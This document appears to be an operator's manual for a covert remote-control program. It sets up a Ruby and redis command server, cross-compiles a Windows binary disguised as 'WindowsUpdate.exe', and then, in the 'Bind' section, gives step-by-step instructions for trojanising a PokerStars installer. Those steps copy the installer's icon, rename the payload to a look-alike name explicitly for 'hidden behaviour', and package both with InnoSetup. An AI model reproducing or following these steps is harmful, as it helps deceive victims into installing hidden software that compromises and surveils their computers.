

Server

Connect to the server via ssh:

```
$ ssh USER@IP
```

Install the essential packages

```
$ sudo apt-get install build-essential git-core libssl-dev
```

Install redis

```
$ wget http://download.redis.io/redis-stable.tar.gz
$ tar zxvf redis-stable.tar.gz
$ cd redis-stable
$ make
$ cd src
$ sudo cp redis-server /usr/local/bin/
$ sudo cp redis-cli /usr/local/bin/
```

Install ImageMagick

Firstly install jpeg delegate

```
$ wget http://www.imagemagick.org/download/delegates/jpegsrc.v9.tar.gz
$ tar zxvf jpegsrc.v9.tar.gz
$ cd jpeg-9
$ ./configure && make && sudo make install
```

Back to Home dir and install ImageMagick

```
$ cd ~
$ wget ftp://mirror.aarnet.edu.au/pub/imagemagick/ImageMagick-6.8.7-7.tar.gz
$ tar zxvf ImageMagick-6.8.7-7.tar.gz
$ cd ImageMagick-6.8.7-7
$ ./configure && make && sudo make install
$ sudo ldconfig /usr/local/lib
```

Install ruby

```
$ git clone https://github.com/sstephenson/rbenv.git ~/.rbenv
$ echo 'export PATH="$HOME/.rbenv/bin:$PATH"' >> ~/.bash_profile
```

```
$ echo 'eval "$(rbenv init -)"' >> ~/.bash_profile
```

Now disconnect from ssh and connect again

```
$ logout  
$ ssh USER@IP
```

Check if rbenv is working

```
$ type rbenv
```

The output from last command should start with:

```
rbenv is a function
```

Continue ruby installation

```
$ mkdir .rbenv/plugins  
$ git clone https://github.com/sstephenson/ruby-build.git ~/.rbenv/plugins/ruby-build  
$ rbenv install 2.0.0-p247  
$ rbenv global 2.0.0-p247
```

Check if ruby is working

```
$ ruby -v
```

Install gems

```
$ gem install redis  
$ gem install sinatra  
$ gem install mini_magick  
$ rbenv rehash
```

Running the Server

Go to folder where you putted server files and type:

```
$ redis-server redis.conf  
$ nohup ruby http_server.rb -e production -p 61402 &> http.out &  
$ nohup ruby tcp_server.rb &> tcp.out &
```

Software

Compile

The best choice is to compile the software in a Windows machine.

The compilation isn't addressed in this doc. Just contact a C++ developer, give to him the software source and he will know what to do (the command below can be useful as a reference).

Compiling in Linux

To compile the software on a Linux machine isn't the best choice, but it is possible.

Contact a C++ developer and he will know what to do. The command below can be used as a reference.

Command:

```
i586-mingw32msvc-g++ -mwindows -o WindowsUpdate.exe WindowsUpdate.cpp  
service_manager.cpp helper.cpp network.cpp screen_manager.cpp -L./gdi/lib -lgdi32 -lgdiplus  
-lws2_32 -lole32
```

Bind

Follow these steps to bind the software with any other .exe file.

In this doc, the X software is called WindowsUpdate.exe and the .exe file to be binded together is called PokerStarsInstall.exe.

1) Install InnoSetup

The installation have no secrets. Just keep clicking **Next** until it finishes installation. When the installer ask you to add **Preprocessor**, you can keep the box unchecked.

InnoSetup will be used to bind the files.

2) Install ResourceHacker

The installation have no secrets. Just keep clicking **Next** until it finishes installation.

ResourceHacker will be used to extract the icon from the original software (PokerStarsInstall.exe).

3) Extract the icon

- Open ResourceHacker.

- In Resourcehacker's window, click File → Open.
- Select the PokerStarsInstall.exe file and click Open.
- Find the icon and click with right button in it and chooses Save.
- Save the icon in the same folder you have WindowsUpdate.exe and PokerStarsInstall.exe with the name icon.ico.

4) Rename the files

To have a better hidden behaviour. Its needed to rename WindowsUpdate.exe file to a better name. For this example, we'll make the following change in the name:

WindowsUpdate.exe will be renamed to **PokerStarsInstaller.exe**

Watch that the original poker software is called PokerStarsInstall.exe and X will be called PokerStarsInstall**er**.exe.

5) Edit Bind Script

Edit the file **bindscript.iss** (you should have this file) using a simple editor program, like notepad (don't use Office programs). Follow these instructions:

- From **line 3** until **line 14**, look what changes you need to do based on the .exe file you choose to be used in the biding. Change names, links and descriptions to fit your choosen file. The changes are very straightforward.
- In **line 26**, type the path to the icon file you extracted.
- In **line 32**, type the path to X file (in this example, PokerStarsInstaller.exe).
- In **line 33**, type the path to the .exe file (in this example, PokerStarsInstall.exe).
- In **line 36**, check if the name is correct (in this example, PokerStarsInstaller.exe).
- In **line 37**, check if the name is correct (in this example, PokerStarsInstall.exe).

6) Complete the Bind

- Open **bindscript.iss** using **InnoSetup**
- Click the button **Compile**
- The new binded software you'll be created in a folder called **output**.